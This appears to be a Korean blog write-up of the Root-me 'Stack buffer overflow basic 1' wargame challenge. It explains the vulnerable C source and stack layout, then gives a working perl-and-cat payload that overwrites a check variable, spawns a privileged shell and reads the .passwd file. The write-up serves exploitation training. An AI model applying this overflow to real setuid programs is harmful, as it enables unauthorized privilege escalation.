[App-System] ELF x86 - Stack buffer overflow basic 1

2022. 7. 2. 14:03·Wargame/Root me
728x90
반응형

1. intro

2. code & 분석

#include <stdlib.h>
#include <stdio.h>
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     setreuid(geteuid(), geteuid());
     system("/bin/bash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

문제의 제목에서 보듯 가장 기본적인 bof 문제이다.

코드에서 보듯 var, check, buf의 변수가 선언되고

var은 선언만,
check에는 4byte의 0x04030201의 값
buf는 40byte의 공간을 확보한다.

메모리에는 데이터가 선입 후출 되기 때문에 변수 선언 후 메모리 구조는

낮은 주소
buf
check
var
높은 주소

의 형태로 위치한다.

이런 형태로 인해 이후 fgets 함수로 buf의 공간에 45byte의 값을 입력받지만 buf 변수의 확보된 공간은 40byte이므로 40byte 이상의 값이 입력되면 check 변수의 공간까지 데이터를 덮어씌울 수 있게 된다.
(정확히는 check 변수의 공간을 넘어 1byte 더 침범 가능하다.)

이후
만일 check 변수가 0x04030201 또는 0xdeadbeaf가 아니면
You are on the right way! 를 출력하고 종료되며

만일 check 변수가 0xdeadbeaf라면
Yeah dude! You win!\nOpening your shell... 를 출력하고
프로그램의 id를 가져와서 /bin/sh를 실행하고 Shell closed! Bye. 를 출력한 후 종료하게 된다.

3. payload


이를 토대로 페이로드를 작성해보면
임의의 값 [40] + 0xdeadbeaf 가 된다.

하지만 이대로 실행하게되면
Shell closed! Bye.
를 출력 후 종료하게 된다.

app-systeme-ch13@challenge02:~$ (perl -e 'print "A"x40,"\xef\xbe\xad\xde"') | ./ch13

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
Shell closed! Bye.


이를 막기 위해 cat과 같이 shell 실행 후 입력을 받아주는 명령어를 추가하여 shell을 유지하면 된다.

app-systeme-ch13@challenge02:~$ (perl -e 'print "A"x40,"\xef\xbe\xad\xde"';cat) | ./ch13

[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ�
[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
ls -al
total 36
dr-xr-x---  2 app-systeme-ch13-cracked app-systeme-ch13 4096 Dec 10  2021 .
drwxr-xr-x 18 root                     root             4096 Dec 10  2021 ..
-r-sr-x---  1 app-systeme-ch13-cracked app-systeme-ch13 7360 Dec 10  2021 ch13
-r--r-----  1 app-systeme-ch13-cracked app-systeme-ch13  555 Dec 10  2021 ch13.c
-rw-r-----  1 root                     root               44 Dec 10  2021 .git
-r--r-----  1 app-systeme-ch13-cracked app-systeme-ch13  537 Dec 10  2021 Makefile
-r--------  1 app-systeme-ch13-cracked app-systeme-ch13   17 Dec 10  2021 .passwd
-r--------  1 root                     root              791 Dec 10  2021 ._perms
cat .passwd
-------------- #플래그는 삭제

 

728x90
반응형

'Wargame > Root me' 카테고리의 다른 글

[App-System] ELF x86 - Race condition  (0) 2022.07.07
[App-System] ELF x86 - Format string bug basic 2  (0) 2022.07.04
[App-System] ELF x64 - Stack buffer overflow - basic  (0) 2022.07.04
[App-System] ELF x86 - Format string bug basic 1  (0) 2022.07.03
[App-System] ELF x86 - Stack buffer overflow basic 2  (0) 2022.07.03
'Wargame/Root me' 카테고리의 다른 글
  • [App-System] ELF x86 - Format string bug basic 2
  • [App-System] ELF x64 - Stack buffer overflow - basic
  • [App-System] ELF x86 - Format string bug basic 1
  • [App-System] ELF x86 - Stack buffer overflow basic 2
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (493)
      • To do list (6)
        • Doing (0)
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (22)
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (40)
        • Solved (38)
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    BOF
    libc
    root-me
    heap
    la ctf
    exploit education
    root
    ROOT ME
    x86
    CANARY
    Me
    dreamhack
    docker
    phoenix
    vtable
    64bit
    RTL
    cryptohack
    x64
    Buffer Overflow
    32bit
    pwntools
    _IO_FILE
    Format String Bug
    FSB
    rop
    pwnable.kr
    tcache
    lob
    hackerschool
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
[App-System] ELF x86 - Stack buffer overflow basic 1
상단으로

티스토리툴바